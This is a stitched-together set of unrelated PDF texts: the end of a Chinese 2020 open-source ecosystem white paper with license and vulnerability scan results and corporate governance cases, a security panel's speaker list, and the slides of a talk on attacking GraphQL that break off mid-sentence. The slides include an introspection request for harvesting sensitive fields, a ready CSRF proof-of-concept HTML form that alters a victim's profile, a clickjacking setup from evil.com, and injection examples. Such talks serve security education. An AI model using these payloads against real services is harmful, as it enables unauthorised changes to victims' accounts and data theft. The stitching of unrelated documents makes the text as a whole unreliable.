开源从个人行为逐渐发展成为企业行为,开源虽起源于个人行为, 但由于开源的协作模式和产品特点,影响商业产品的市场格局,企业 层面逐渐借助开源模式实现市场布局,企业层面通过主动布局开源, 减低边界成本,引导事实标准,改变市场竞争格局,同时吸纳多方参 与,激发产品创新,满足用户多场景需求;国内逐步主动布局基础软 件领域开源生态,国内早期开源生态发展最早集中在应用侧开发软件 领域,虽开源项目数量百万级别,但具有国际影响力的开源项目不足, 近年来国内企业逐渐侧重基础软件领域开源项目布局,在操作系统、 数据库、中间件等领域涌现多个开源项目,不乏国际基金会的顶级开 源项目。 基金会与联盟开源运营呈现多态发展趋势。开源联盟组织将持续 推进与企业的开源运营合作,我国开源基金会逐步形成稳定流程机制, 国内开源联盟组织相对灵活,覆盖主要技术领域,可借助联盟标准化 与行业推广优势,推动我国自发开源项目应用;国际仍以开源基金会 作为主要运营载体,为开源项目运营提供有力法律、协作支撑,建立 与国内外开源组织、标准化组织建立联动机制,推动开源项目建立生 态。 开源风险问题得到关注,开源治理体系逐步建立。开源项目虽 最终形成软件、硬件等最终形态,但需要满足开源许可证要求,相 比通用软件具有一定的使用范围和规则要求。未来开源风险问题进 一步凸显,开源应用情况逐渐透明,开源违约、兼容性、被开源等 风险进一步暴露,全球开源违约判例可能进一步增加,企业内部逐 开源生态白皮书(2020 年) 49 步建立开源治理体系应对开源风险,通过开源管理机制及平台规避 开源风险。 行业开源生态兴起。行业用户在开源生态的角色逐渐发生转 变,从开源使用到自发开源发展,金融、工业互联网、电信、政府 采购等行业逐渐探索行业内开源生态构建,将企业内部信息建设代 码脱敏输出,借助开源公开透明的特点快速迭代,形成满足行业属 性的特定开源项目,逐步形成行业开源协作机制,实现行业输出战 略布局。 (二)我国开源生态发展建议 企业侧建立稳定的开源模式。我国自发开源企业需要建立稳定的 开源商业模式,一是针对国际基金会顶级开源项目,建立社区反馈和 联动机制;二是建立自主开源生态,重点在操作系统、数据库、中间 件等基础软件领域探索开源。 第三方快速完善开源运营机制。一是国内开源联盟组织持续推进 与企业的开源运营合作,借助联盟标准化与行业推广优势,推动我国 自发开源项目应用;二是开源基金会形成稳定的决策机制,项目孵化 流程,为国内开源项目运营提供有力知识产权托管以及法律、协作支 撑。 构建开源治理体系。针对自发开源企业、开源使用企业建立开源 软件管理体系,第三方组织需制定开源软件治理的行业标准,通过制 定开源软件管理规则,帮助企业规范开源软件的使用和输出,实现企 业软件的全覆盖和全流程管理,同时配套建设开源风险检测、开源生 开源生态白皮书(2020 年) 50 态监测等平台,推动企业落地开源治理体系建设。 开源生态白皮书(2020 年) 1 附录一:开源软件风险扫描 本白皮书选取开源卫士、BlackDuck 和 FossEye 国内外三款工具 对软件源代码进行扫描,设置规则为:以开源组件为单位进行识别和 展示,展示三款工具对同一个开源软件的扫描结果,包括开源组件数 量,开源许可证分类及数量,开源漏洞分级及数量。其中开源许可证 按照传染性的不同分为友好、弱传染性、传染性和强传染性四类,另 外未匹配到的许可证类型称为未知许可证;开源漏洞按照严重程度分 为低危、中危、高危和超高危四类。因为不同扫描工具对组件颗粒度 的定义不同,对开源项目依赖项的探测能力不同导致扫描结果存在差 异,本白皮书仅展示自动扫描结果,无人为修改,结果仅供参考。 (一)许可证及合规风险 本白皮书对企业选择最多的三个开源容器运行技术(Docker、 RKT 和 KATA)进行扫描,结果显示:Docker 的子项目中 A 工具共 识别出 1 个组件带有传染性许可证,B 工具共识别出 1 个组件带有传 染性许可证,C 工具共识别出 4 个组件带有传染性许可证; RKT 和 KATA 两个项目暂未发现使用传染性许可证的开源组件。 开源生态白皮书(2020 年) 2 数据来源:中国信息通信研究院,2020 年 4 月 图 37 容器运行技术领域开源许可证风险情况 本白皮书对企业选择最多的三个开源容器编排技术(Kubernetes、 Swarm 和 Mesos)进行扫描,结果显示:Kubernetes 项目中 B 工具共 识别出 1 个开源组件带有传染性许可证,1 个开源组件带有强传染性 许可证;swarm 项目中 B 工具共识别出 2 个开源组件带有传染性许 可证,2 个开源组件带有强传染性许可证;mesos 项目中 A 工具识别 出 2 个开源组件带有传染性许可证,B 工具识别出 8 个开源组件带有 传染性许可证,1 个开源组件带有强传染性许可证,C 工具识别出 1 个开源组件带有传染性许可证。 开源生态白皮书(2020 年) 3 数据来源:中国信息通信研究院,2020 年 4 月 图 38 容器编排技术领域开源许可证风险情况 本白皮书对企业选择最多的三个开源微服务框架技术 (Dubbo、 istio 和 Tars)进行扫描,结果显示:Dubbo 项目中,A 工具共识别出 1 个开源组件带有传染性许可证,B 工具共识别出 42 个开源组件带 有传染性许可证,C 工具共识别出 43 个开源组件带有传染性许可证; istio 项目中,B 工具共识别出 8 个开源组件带有传染性许可证;Tars 项目中,B 工具共识别出 6 个开源组件带有传染性许可证。 开源生态白皮书(2020 年) 4 数据来源:中国信息通信研究院,2020 年 4 月 图 39 微服务框架领域开源许可证风险情况 本白皮书对企业选择较多的 2 个 DevOps 领域开源软件(Jenkins 和 Ansible)进行扫描,结果显示:Jenkins 项目中,B 工具共识别出 13 个开源组件带有传染性许可证,1 个开源组件带有强传染性许可 证,C 工具识别出 6 个开源组件带有传染性许可证;Ansible 项目三 款工具均未检测出带有传染性开源许可证的开源组件。 数据来源:中国信息通信研究院,2020 年 4 月 图 40 DevOps 领域开源许可证风险情况 本白皮书对企业选择较多的 2 个无服务架构领域开源软件 (Openwhisk 和 Kubeless)进行扫描,结果显示:在 Openwhisk 项目 中,A 工具识别出 1 个开源组件带有传染性开源许可证,B 工具识别 出 2 个开源组件带有传染性开源许可证,1 个开源组件带有强传染性 开源许可证。 开源生态白皮书(2020 年) 5 数据来源:中国信息通信研究院,2020 年 4 月 图 41 无服务器架构领域开源许可证风险情况 本白皮书对企业选择较多的 3 个人工智能领域开源软件 (TensorFlow、Keras 和 Pytorch)进行扫描,结果显示:TensorFlow 项目中,A 工具识别出 1 个开源组件带有传染性开源许可证,B 工具 识别出 29 个开源组件带有传染性开源许可证,3 个开源组件带有强 传染性开源许可证 C 工具识别出 14 个开源组件带有传染性开源许可 证;Ketas 项目中,三款工具均未检测出带有传染性开源许可证的开 源组件;Pytorch 项目中,三款工具均未检测出带有传染性开源许可 证的开源组件。 开源生态白皮书(2020 年) 6 数据来源:中国信息通信研究院,2020 年 4 月 图 42 人工智能领域开源许可证风险情况 本白皮书对企业选择较多的 1 个数据库领域开源软件 MySQL 进 行扫描,结果显示:MySQL 项目中,A 工具识别出 2 个开源组件带 有传染性开源许可证,B 工具识别出 1 个开源组件带有传染性开源许 可证,C 工具识别出 2 个开源组件带有传染性开源许可证。 数据来源:中国信息通信研究院,2020 年 4 月 图 43 数据库领域开源许可证风险情况 (二) 安全漏洞风险 本白皮书对企业选择最多的三个开源容器运行技术(Docker、 开源生态白皮书(2020 年) 7 RKT 和 KATA)进行扫描,结果显示:Docker 的子项目中 A 工具共 识别出 1 个超高危漏洞、1 个高危漏洞和 1 个中危漏洞,B 工具共识 别出 15 个中危漏洞和 8 个低危漏洞,C 工具共识别出 1 个超高危漏 洞、1 个高危漏洞和 6 个中危漏洞;RKT 项目中,B 工具识别出 3 个 低危漏洞;KATA 项目暂未发现开源漏洞。 数据来源:中国信息通信研究院,2020 年 4 月 图 44 容器运行技术领域开源漏洞风险情况 本白皮书对企业选择最多的三个开源容器编排技术(Kubernetes、 Swarm 和 Mesos)进行扫描,结果显示:Kubernetes 项目中 A 工具共 识别出 6 个超高危漏洞、6 个高危漏洞、8 个中危漏洞和 1 个低危漏 洞,B 工具共识别出 30 个中危漏洞和 51 个低危漏洞,C 工具共识别 出 11 个高危漏洞、16 个中危漏洞和 2 个低危漏洞;swarm 项目中未 发现开源漏洞;Mesos 项目中 A 工具识别出 5 个超高危漏洞、5 个高 危漏洞、10 个中危漏洞和 1 个低危漏洞,B 工具识别出 1 个高危漏 洞、24 个中危漏洞和 41 个低危漏洞,C 工具识别出 9 个超高危漏洞、 49 个高危漏洞和 57 个中危漏洞。 开源生态白皮书(2020 年) 8 数据来源:中国信息通信研究院,2020 年 4 月 图 45 容器编排技术领域开源漏洞风险情况 本白皮书对企业选择最多的三个开源微服务框架技术 (Dubbo、 istio 和 TARS)进行扫描,结果显示:Dubbo 项目中,A 工具共识别 出 34 个超高危漏洞、32 个高危漏洞、30 个中危漏洞和 20 个低危漏 洞,B 工具共识别出 7 个高危漏洞、115 个中危漏洞和 358 个低危漏 洞,C 工具共识别出 60 个超高危漏洞、46 个高危漏洞、62 个中危漏 洞和 8 个低危漏洞;istio 项目中,A 工具识别出 11 个中危漏洞,B 工 具共识别出 1 个高危漏洞、22 个中危漏洞和 10 个低危漏洞,C 工具 共识别出 6 个高危漏洞和 27 个中危漏洞;TARS 项目中,B 工具共识 别出 73 个中危漏洞和 129 个低危漏洞。 开源生态白皮书(2020 年) 9 数据来源:中国信息通信研究院,2020 年 4 月 图 46 微服务领域开源漏洞风险情况 本白皮书对企业选择较多的 2 个 DevOps 领域开源软件(Jenkins 和 Ansible)进行扫描,结果显示:Jenkins 项目中,A 工具共识别出 14 个超高危漏洞、13 个高危漏洞、21 个中危漏洞和 1 个低危漏洞, B 工具共识别出 2 个高危漏洞、37 个中危漏洞和 30 个低危漏洞,C 工具共识别出 2 个超高危漏洞、12 个高危漏洞和 25 个中危漏洞; Ansible 项目三款工具均未检测出开源漏洞。 开源生态白皮书(2020 年) 10 数据来源:中国信息通信研究院,2020 年 4 月 图 47 DevOps 领域开源漏洞风险情况 本白皮书对企业选择较多的 2 个无服务架构领域开源软件 (Openwhisk 和 Kubeless)进行扫描,结果显示:在 Openwhisk 项目 中,A 工具识别出 6 个中危漏洞和 2 个低危漏洞,B 工具识别出 10 个高危漏洞、143 个中危漏洞和 195 个低危漏洞,C 工具共识别出 35 个超高危漏洞、21 个高危漏洞、21 个中危漏洞和 2 个低危漏洞;在 Kuberless 项目中,A 工具识别出 1 个超高危漏洞和 1 个低危漏洞,B 工具识别出 2 个中危漏洞。 数据来源:中国信息通信研究院,2020 年 4 月 图 48 无服务器架构领域开源漏洞风险情况 本白皮书对企业选择较多的 3 个人工智能领域开源软件 (TensorFlow、Keras 和 Pytorch)进行扫描,结果显示:TensorFlow 项目中,A 工具识别出 34 个超高危漏洞、33 个高危漏洞、65 个中危 漏洞和 8 个低危漏洞,B 工具识别出 12 个高危漏洞、131 个中危漏 洞和 96 个低危漏洞,C 工具识别出 7 个超高危漏洞、18 个高危漏洞、 44 个中危漏洞和 2 个低危漏洞;Ketas 项目中,A 工具识别出 4 个中 开源生态白皮书(2020 年) 11 危漏洞,B 工具识别出 1 个中危漏洞;Pytorch 项目中,三款工具均 未检测出开源漏洞。 数据来源:中国信息通信研究院,2020 年 4 月 图 49 人工智能领域开源漏洞风险情况 本白皮书对企业选择较多的 1 个数据库领域开源软件 MySQL 进 行扫描,结果显示:MySQL 项目中, B 工具识别出 2 个中危漏洞。 数据来源:中国信息通信研究院,2020 年 4 月 图 50 数据库领域开源漏洞风险情况 附录二:企业开源治理案例 开源生态白皮书(2020 年) 12 (一) 浦发银行开源治理案例 1. 概述 伴随着金融行业数字化转型的强烈需求,越来越多的银行应用系 统会构建在开源软件之上,并享受其带来的定制灵活、功能丰富、迭 代快速、人才资源集中等好处。但同时,开源软件有别于商用软件, 其安全性、可靠性、可维护性以及许可遵从都会给银行科技建设带来 新的挑战。银行需要在技术上、社区上、法务上全面评估和把控开源 软件使用风险。浦发银行根据自身特点建设了开源技术治理体系,为 未来自主、高效、安全地使用开源软件提供技术和制度上的保证。 2. 开源治理体系建设 浦发银行开源治理体系是一套帮助浦发银行安全、合规、可靠、 高效地评估和使用开源软件、管理开源软件资产、把控开源软件使用 中的安全风险的方法论和实践。主要包含以下五部分内容: (1)开源治理的配套组织机制。指组织架构或开源治理分工, 制定开源治理战略和开源治理流程,统筹规划和推动企业开源治理工 作,包括开源管理、软件维护、安全支持、法律支持等。 浦发银行内部组建开源治理组织架构,发布开源治理规程。目前, 浦发银行开源治理组织架构分为:开源治理团队、开源专业团队、开 源安全团队、开源法务团队(待建)。  开源治理团队:主要负责制定和执行开源软件应用管理规则 及开源软件日常管理工作。同时,开源治理团队熟悉开源软 开源生态白皮书(2020 年) 13 件社区的各种指标含义和获取方法,有效保证了开源软件社 区信息获取和评估的效率。 (2)开源治理的配套管理流程制度。制定相关管理制度对开源 软件的合规使用进行管控,包括引入、使用、风险管理、更新、退出 的全生命周期的流程管理。 (3)开源软件评估评价机制。一套适合于金融行业业务和管理 特点的开源软件评估评价方法,用于指导开源软件在银行的引入和选 型。 浦发银行依据 E- OSMM (Enterprise Open Source Maturity Model) 模型以及华为开源治理的成功经验,结合银行行业特色以及浦发银行 自身需求,形成了一套开源软件评估体系。 (4)开源软件治理支撑平台。一个用于支撑开源软件治理的平 台系统,是整个开源治理工作高效运行的技术保障。 开源治理流程在源头上控制了高风险开源软件版本的引入,有 效收敛了浦发银行应用开源软件的种类和版本,筛查并拒绝了社区发 展前景不佳的开源软件。对于已经投入使用的开源软件,也能够持续 跟踪防范其安全风险。 (5)金融行业开源技术应用社区。一个非盈利性的组织,旨在 通过信息共享,推动开源技术和软件在金融行业内安全可靠的使用。 3. 总结 浦发银行从无到体系化了开源治理工作,并和行内软件项目流 程相结合实现了落地运行,形成了包括相应工具平台在内的工作机制。 开源生态白皮书(2020 年) 14 同时,浦发银行发起成立了金融行业开源技术应用社区,社区成员多 为金融机构。浦发银行面向社区内部开源了开源治理平台,有效帮助 社区成员快速获取开源治理能力,解决了金融行业开源软件管理痛点, 促进行业内开源软件安全可靠使用。浦发银行凭借这套开源治理体系 和相应实践,获得了中国通信标准化协会(CCSA)的开源治理能力 认证,成为首批获得该认证的金融机构。同时,也获得了 OSCAR(云 计算开源产业联盟)尖峰开源用户奖。后续浦发将基于行内开源治理 需求和实践,继续完善开源治理研究。 (二) 中信银行开源治理案例 1、概述 随着开源软件漏洞频发、监管要求的相继出台,中信银行对开源 治理工作也更加重视。2020 年 3 月发布开源治理细则,组建开源治 理团队,对开源软件全生命周期进行管控。目前中信银行按照先梳理, 再治理的整体思路,逐步建立开源治理体系,最终实现开源软件的分 级分类管理、统一版本、统一发布和安全可控。 2、开源治理团队的角色划分及职责如下: 软件开发中心作为开源软件的实施部门,下设 开源软件使用员:负责提出开源软件管理全流程的申请,并参与 评审;负责开源软件管理全流程测评方案和计划的制定实施,并参与 评审;负责向开源软件分类管理员报送开源软件的使用情况及服务供 应商的技术支持情况。 开源软件分类管理员:负责制定和发布开源软件管理全流程相关 开源生态白皮书(2020 年) 15 模版;负责参与开源软件主管部门组织的评审;负责组织开源软件引 入的测评工作,根据开源软件类型,从专家资源池中选择相应专家, 对《开源软件测评方案和计划》进行评审;负责组织收集和登记所辖 开源软件的使用情况、性能和安全问题及服务供应商的技术支持情况。 开源软件归口管理员:作为归口角色向开源软件主管部门提出开 源软件管理全流程的申请;负责建立和维护开源软件制品库,做好开 源软件、组件的介质管理和版本管理。 开源软件审批团队:由各领域推荐技术专家,共同维护开源软件评审 专家资源池。 3、开源软件引入与升级管理: 开源引入分级:依据开源扫描结果,将待引入的开源软件按照使 用范围和影响程度进行分级,不同级别的开源软件引入周期不同。 开源引入流程:较低级别的开源软件进行线上会签评审并编写测 评报告和试用报告;中高级别的开源软件需要分类管理员组织领域专 家对测评计划和测试案例进行线下评审,审核通过后进入试用期,试 用期结束后针对开源测评报告和试用报告进行准入评审,并明确自主 掌控部门和运维部门。准入评审会议通过后,开源软件分类管理员负 责组织编写使用手册和优化建议,开源软件归口管理员负责将安装介 质纳入开源软件制品库进行管理,将文档纳入知识库进行管理。 开源软件升级流程:开源软件的大版本视为不同软件,在引入新 的大版本时,需要重新进行软件准入流程(需求申请、测评、评审)。 对需要二次开发后方可使用的开源软件,开源软件使用员需在引入后 开源生态白皮书(2020 年) 16 立即提起二次开发流程。 未来,中信银行会在开源治理的道路上不断探索,持续学习业界 先进经验,在增强开源管控能力的同时,进一步提升开源影响力、贡 献力,拥抱开源,回馈开源。 (三) 中国银行开源应用案例 中国银行大数据监控平台基于开源 ZABBIX 用于对各个大数据 组件集群集中监控。监控的指标项一部分是从官方指标中挑选的主要 指标,一部分是对组件原生指标进行进一步加工后的指标。这些展示 一方面可以简要表明集群的状态,另一方面避免了部分指标需要手工 命令查询的时间消耗,并且能集中展示,方便运维人员快速查找,同 时也可以协助开发人员确定应用程序的性能。 Zabbix-agent 部署在被监控的主机上,负责定期收集各项数据, 并发送至 zabbix-server 端,之后 zabbix 会将数据存储到数据库 database 中;使用 Zabbix API 提供的可编程接口获取监控数据、通过 Http 协议获取主机配置信息,一并保存到本地数据库 TiDB 中;后端 读取数据并进行分析,构建服务将结果发送至前端,前端发送 Ajax 请 求获取响应并展示数据。 (四) 中兴开源治理案例 为了满足公司产品研发不断增长的需求,解决提升质量和开发效 率的矛盾,大量的开源软件被引入到产品的研发过程以及产品本身之 中。为了确保使用开源软件的产品版本对外合规分发,有效的应对和 开源生态白皮书(2020 年) 17 管控各类风险,中兴通讯制定了一整套的开源软件治理机制。 中兴通讯制定了《开源软件管理规范》作为开源软件治理的纲领 性文件。此规范在以下各方面对开源软件在公司内的全生命周期进行 了规定。此规范在相应的 IT 工具系统的支撑下,形成了完善的开源 软件管理和治理机制。 1、概述 中兴通讯的开源治理主要希望达到的目的是:管控开源软件的引 入,确保产品项目尽量使用主流的、相对成熟的、风险相对较小的开 源软件。不允许开发人员随意引入不可靠的开源软件;公司内使用的 同一个开源软件的同一个版本的代码和制品的来源相同。这可以防止 产品开发人员从非官方托管地等不可靠的地方下载可能存在病毒等 恶意隐患的代码和制品。同时对开源软件严重漏洞的自研修改方案可 以快速的在所有产品上生效;及时发现产品因使用开源软件引入的漏 洞并加以治理;确保产品对外发布时涉及开源软件部分的合规使用和 分发。为此,中兴通讯建立了一整套开源软件相关的制度,自研和引 入了相关的工具,建立了完善的开源软件管理和治理机制。 2、开源软件的选型和引入 当一个产品项目需要增加某种功能组件,并且考虑通过引入开源 软件来实现的时候,必须通过一个开源软件引入流程来完成引入。 首先,产品项目需要进行预研,确定几个可以满足功能与性能要 求的备选开源软件以及版本,然后确定其中一个作为选型结果。然后 在公司开源软件库中查找,此软件的此版本是否已经在库中存在,如 开源生态白皮书(2020 年) 18 果已经存在,则不必再走新引入流程。如果此软件此版本尚未在公司 开源软件库中存在,则需要向开源软件库提交一个入库申请,附带选 型预研结果和测试报告。此申请由公司的开源专家团队进行审批处理。 开源专家团队从若干方面因素对所申请的开源软件版本进行评估打 分,达到一定分数水平后才批准入库使用。这些评估因素包括:开源 软件所使用的开源许可证,漏洞情况,业界采纳度,版本发布周期, 开发者社区规模,是否有开源基金会支持等等。 开源软件的版本在通过审批后,由开源软件库从开源软件的官网 以及其他可靠托管地下载其源码和/或制品(如 rpm 包,jar 包等等), 经过安全扫描后进行存放。产品在后续构建版本时,直接从公司开源 库中取用所需开源软件版本的代码和制品。 3、开源软件的同源治理 开源软件在进入开源软件库后,可以供公司内所有产品项目使用。 这保证了所有产品项目使用的开源代码和制品都是从同一个可靠来 源下载的。避免了各产品项目的研发人员自行从网上下载时取用了不 可靠来源导致引入病毒和后门等安全隐患。同时,对开源软件严重漏 洞的自研修改方案可以快速的在所有产品上生效。 4、开源漏洞治理 中兴通讯引入了第三方安全漏洞扫描工具,对产品进行定期扫描 以及发布前的扫描。发现安全漏洞后在规定的时间内予以评估响应。 一旦评估新发现的漏洞对产品有比较重要的影响,就通过升级软件或 自研补丁的方式进行修正治理,确保发布出去的产品没有影响产品安 开源生态白皮书(2020 年) 19 全和用户安全的漏洞。 5、开源软件合规使用和分发 根据美国出口管制条例(EAR)的规定,开源软件原则上不受管 辖。但是含有一定秘钥长度的一些指定加密算法的美国原产开源软件 需要受管辖及管控。但是可以根据 EAR 742.15(b)(2)的规定,在向美 国商务部工业与安全局(BIS)进行备案后来解除管辖。因此,为了合规 使用,一个开源软件的版本引入到开源软件库后,需要判断它是否需 要向 BIS 备案来解除美国 EAR 的管辖。目前判断一个开源软件是否 需要备案的原则为,需同时满足:是公开可获得的源码形式的开源软 件;此开源软件为美国的基金会、美国的开源软件社区或美国的公司 发起;或发起方不确定,但是有美国人参与,或美国公司参与,或外 国人在美国参与的;或无论发起方的国籍还参与人的国籍存在不明确 的情况的;此开源软件的出口管制分类编号(ECCN)为 5D002;或 者包含了加密算法;或者不确定是否有加密算法。 满足上述条件的开源软件,开源软件库会触发向 BIS 备案的流程 来解除 EAR 管辖。 含有开源软件的产品版本分发时会附带一个开源软件声明书,其 中包含了此产品所使用的所有开源软件的信息,以符合相关开源许可 证的要求。 (五) 红帽开源治理案例 随着开源软件在企业中采用的比重越来越大,企业对于开源软件 的引入,使用,改造以及安全的管理需求越来越突出。因此,红帽软 开源生态白皮书(2020 年) 20 件把自己长期专注开源软件生态建设形成的开源软件管理理念,以及 多年开源运营及开源项目实施所积累的一整套实践经验分享出来,结 合国内开源发展的实际,提出了开源治理的最佳实践框架。 红帽的开源治理最佳实践框架,概括地说,就是围绕一个总体目 标愿景,通过三阶段推进实施,在四个领域全方位展开,简称 314 开 源治理框架。 在开源治理的总结和实践过程中,针对不同阶段,不同领域,红 帽都有相对应的方法,流程或者工具来帮助企业完成相关过程的实施。 红帽把开源治理成熟度分成 0-4,共 5 个级别,来定义开源治理的 成熟度,分别是 1)不可见;2)参与;3)规范;4)成熟;5)贡献。 有了整体规划,企业可以逐步展开具体的治理体系建设,进行落 地实施。在企业进行开源治理的过程中,往往把重点放在开源技术本 身,而忽略了其他一些同样重要的因素。红帽认为开源体系建设是一 个统一的过程,建议企业可以从开源管理体系,开源组织体系,开源 技术体系和开源文化体系(即我们说的 PPTC)四个领域展开实施。 对于开源管理体系建设,红帽提出了围绕开源技术进行全生命周 期管理的理念,即从开源技术的导入,使用,更新,升级,退出各个 阶段进行管理。 在开源管理体系建设过程中,通过实际项目开展,我们建立了开 源导入的维度模型,从技术针对性、技术先进性、开源社区活跃度、 生命力等五个方面进行全面评估,来查看拟采用的开源软件是否有风 险,以及如何规避风险,更科学、更有效地来使用这个开源软件。 开源生态白皮书(2020 年) 21 对于开源组织体系建设,红帽提出了开源管理金字塔模型。 对于开源技术体系建设,红帽建议的方法是建立知识库和开源实 验室,通过开源实验室,把内部,外部的专家积累经验沉淀到知识库 里。随着开源使用过程的不断积累,以及技术的不断地迭代和演进, 企业对开源管理的成熟度也会越来越高。 开源治理是一个逐步迭代的过程,管控风险是很多企业进行开源 治理的重要出发点,但是,引领创新才是开源治理的最重要的目标。 在开源治理实践过程中,如果没有开源文化体系建设,开源治理往往 止步于“管”,难以发挥开源治理的引领作用。红帽坚持上游优先,拥 抱社区的,引领开源发展的文化理念,在建立开源社区文化,开源技 术生态文化,开源回馈及影响力文化上有很多积累和经验,并开创性 提出了创新实验室项目,可以快速帮助客户融入开源技术生态,并建 立起自己的开源品牌和影响力,让开源在企业中生根发芽,枝繁叶茂。 中国信息通信研究院 地址:北京市海淀区花园北路 52 号 邮政编码:100191 联系电话:010-62300557 传真:010-62304980 网址:www.caict.ac.cn
pdf
§ David Mortman, Dell § Rob Graham, ErrataSec § Dave Maynor, ErrataSec § Chris Hoff, Juniper § James Arlen, Liquid Matrix § Larry Pesce, PaulDotCom § Rich Mogull, Securosis § Alex R. Shostack Esq, Ars Infosectica Fail Panel Five
pdf
攻击GraphQL phith0n 什么是 GraphQL ? { REST } 进化 GraphQL 一个为API通信设计的查询语言 描述你的数据 type Project { name: String tagline: String contributors: [User] } 请求你要的数据 { project(name: "GraphQL") { tagline } } 获得可预测的结果 { "project": { "tagline": "A query language for APIs" } } type Project { name: String tagline: String contributors: [User] } { project(name: "GraphQL") { tagline } } { "project": { "tagline": "A query language for APIs" } } ObjectType Field Arguments Query or Mutation ● ObjectType: 类似于高级语言中的类,定义了一个完整的结构 ● Field: 字段,类似于高级语言中的属性 ● Arguments: 作为参数传入Query或Mutation ● Query or Mutation: 特殊的Type,分别代表查询和更改语句,省略则表示Query GraphQL SQL 后端 ⇔ 数据库 前端 ⇔ 后端 SELECT * FROM table ... query OperatorName { ... UPDATE table SET ... mutation OperatorName { ... 一门用于关系型数据库的查询语言 一门用于与API通信的查询语言 管理工具:Navicat、PHPMyAdmin... 管理工具:GraphiQL GraphQL是一门自带文档的技术。 利用内省,即可列出列出 GraphQL中所有Query、Mutation、ObjectType、Field、Arguments。 Risk 1. 敏感信息泄露与越权 POST /graphql HTTP/1.1 Host: graphqlapp.herokuapp.com Content-Type: application/json {"query": "\n query IntrospectionQuery {\n __schema {\n queryType { name }\n mutationType { name }\n ..."} HTTP/1.1 200 OK Content-Type: application/json { "data": { "__schema": { "queryType": { "name": "Query" ... 自动生成文档: ● https://github.com/2fd/graphdoc Github APIv4 文档: Risk 1. 敏感信息泄露与越权 在objects.types中寻找敏感信息: ● email ● password ● secretKey ● token ● licenseKey ● session 多多关注废弃的字段(deprecated fields) Risk 1. 敏感信息泄露与越权 绕过Query权限控制: ● 直接请求敏感信息 ● 从关联数据集(ForeignKey)中获取敏感信息 绕过Mutation权限控制: ● 根据Arguments、InputObjectType,自动化Fuzz所有Mutation 思考: ● 和挖掘传统RESTful API敏感信息泄露漏洞有何区 别? Risk 1. 敏感信息泄露与越权 Hackerone为API设计的权限控制层: ● THE $30,000 GEM: PART 1 对象、属性均有权限控制,不同用户组看到的结果不同。 没有权限控制的内容: ● 对象数量 从未控制权限的内容入手: ● The request tells the number of private programs, the new system of authorization /invite/token ● Team object in GraphQL disclosed total number of whitelisted hackers 案例:hackerone 一系列信息泄露漏洞 案例:hackerone 一系列信息泄露漏洞 { team(handle: "security") { id name handle whitelisted_hackers { edges { cursor } total_count } } } { "data": { "team": { "id": "Z2lkOi8vaGF...", "name": "HackerOne", "handle": "security", "whitelisted_hackers": { "edges": [], "total_count": 30 } } } } 案例:hackerone 一系列信息泄露漏洞 { team(handle: "security") { id name handle whitelisted_hackers { edges { cursor } total_count } } } { "data": { "team": { "id": "Z2lkOi8vaGF...", "name": "HackerOne", "handle": "security", "whitelisted_hackers": { "edges": [], "total_count": 30 } } } } 分页 如何复现漏洞? GraphiQL 一个浏览器GraphQL客户端 特点: ● 纯前端应用 ● 可以做单页应用,也可以做组件 应用: ● https://github.com/skevy/graphiql-app ● https://github.com/apollographql/apollo-client-devtools ● https://chrome.google.com/webstore/detail/chromeiql/fkkiamalmpiidkljmicmjfbieiclmeij 思考:生产环境下,使用GraphiQL有何问题? GraphQL自身不包含任何业务逻辑,也不包含任何安全配置 GraphQL实现: ● express-graphql ● graphene-django ● graphql-php 实现不同,逻辑略有差别 Risk 2. 前端安全漏洞 允许的HTTP请求方法: ● GET ● POST Express-GraphQL: ● 框架默认无防护 ● 自带GraphiQL Graphene-Django: ● 依赖Django的安全配置(Secure As Default) ● 自带GraphiQL GraphQL-PHP ● 无关框架 Risk 2. 前端安全漏洞 利用GraphiQL调试GraphQL接口: POST /? HTTP/1.1 Host: graphqlapp.herokuapp.com Origin: https://graphqlapp.herokuapp.com User-Agent: Graphiql/http Referer: https://graphqlapp.herokuapp.com/ Cookie: [mask] Content-Type: application/json Content-Length: 108 {"query":"mutation {\n editProfile(name:\"hacker\", age: 5) {\n name\n age\n }\n}","variables":null} Express-GraphQL Endpoint CSRF漏洞 将Content-Type修改为application/x-www-form-urlencoded,仍可成功执行: POST /? HTTP/1.1 Host: graphqlapp.herokuapp.com Origin: https://graphqlapp.herokuapp.com User-Agent: Graphiql/http Referer: https://graphqlapp.herokuapp.com/ Cookie: [mask] Content-Type: application/x-www-form-urlencoded Content-Length: 138 query=mutation%20%7B%0A%20%20editProfile(name%3A%22hacker%22%2C%20age%3A%20 5)%20%7B%0A%20%20%20%20name%0A%20%20%20%20age%0A%20%20%7D%0A%7D Express-GraphQL Endpoint CSRF漏洞 生成CSRF POC:Burp ⇒ Right click ⇒ Engagement tools ⇒ Generate CSRF Poc <html> <body> <script>history.pushState('', '', '/')</script> <form action="https://graphqlapp.herokuapp.com/" method="POST"> <input type="hidden" name="query" value="mutation&#32;&#123;&#10;&#32;&#32;editProfile&#40;name&#58;&quot;hac ker&quot;&#44;&#32;age&#58;&#32;5&#41;&#32;&#123;&#10;&#32;&#32;&#32;&#32;n ame&#10;&#32;&#32;&#32;&#32;age&#10;&#32;&#32;&#125;&#10;&#125;" /> <input type="submit" value="Submit request" /> </form> </body> </html> Express-GraphQL Endpoint CSRF漏洞 GraphiQL特性: ● 通过GET参数传入GraphQL语句 ● Query类型的语句可以直接发送,Mutation类型的语句需要点击发送 ● 被默认继承在大多数GraphQL服务端中: ○ Express-GraphQL ○ Graphene-Django ○ ... 没有CSRF漏洞的情况下,如何 进行利用? GraphiQL Clickjacking 漏洞 GraphiQL Clickjacking 漏洞 mutation { editProfile(name:"hacker") { name age } } http://evil.com http://victim.com/graphql?query=mutation%20%7B%0A%20%20editProfile%28... { "data": { "editProfile": { "name": "hacker", "age": 5 } } } 点击发送 GraphiQL点击劫持漏洞 ● https://github.com/graphql/graphiql/issues/683 生成Clickjacking POC: ● Burp ⇒ Burp Clickbandit ● http://675ba661.2m1.pw/f8d888 GraphiQL Clickjacking 漏洞 SQL注入 GraphQL注入 Risk 3. GraphQL注入漏洞 mutation { editProfile(name: "guest", age: 5) { id name age password } } UPDATE `users` SET `name` = 'guest', `age` = 5 WHERE `id` = 2334 SQL注入 GraphQL注入 Risk 3. GraphQL注入漏洞 mutation { editProfile(name: "guest", age: 5) { id password } changePassword(password: "123456"){ id name age password } } UPDATE `users` SET `name` = 'guest', `age` = 5, `password` = 'admin' WHERE `id` = 1; WHERE `id` = 2334 拼接GraphQL语句参数导致注入恶意API 利用过程: ● 用户访问URL -> 前端获取参数 -> 拼接成GraphQL语句 -> 发送 -> 后端执行 ● 用户访问恶意URL -> 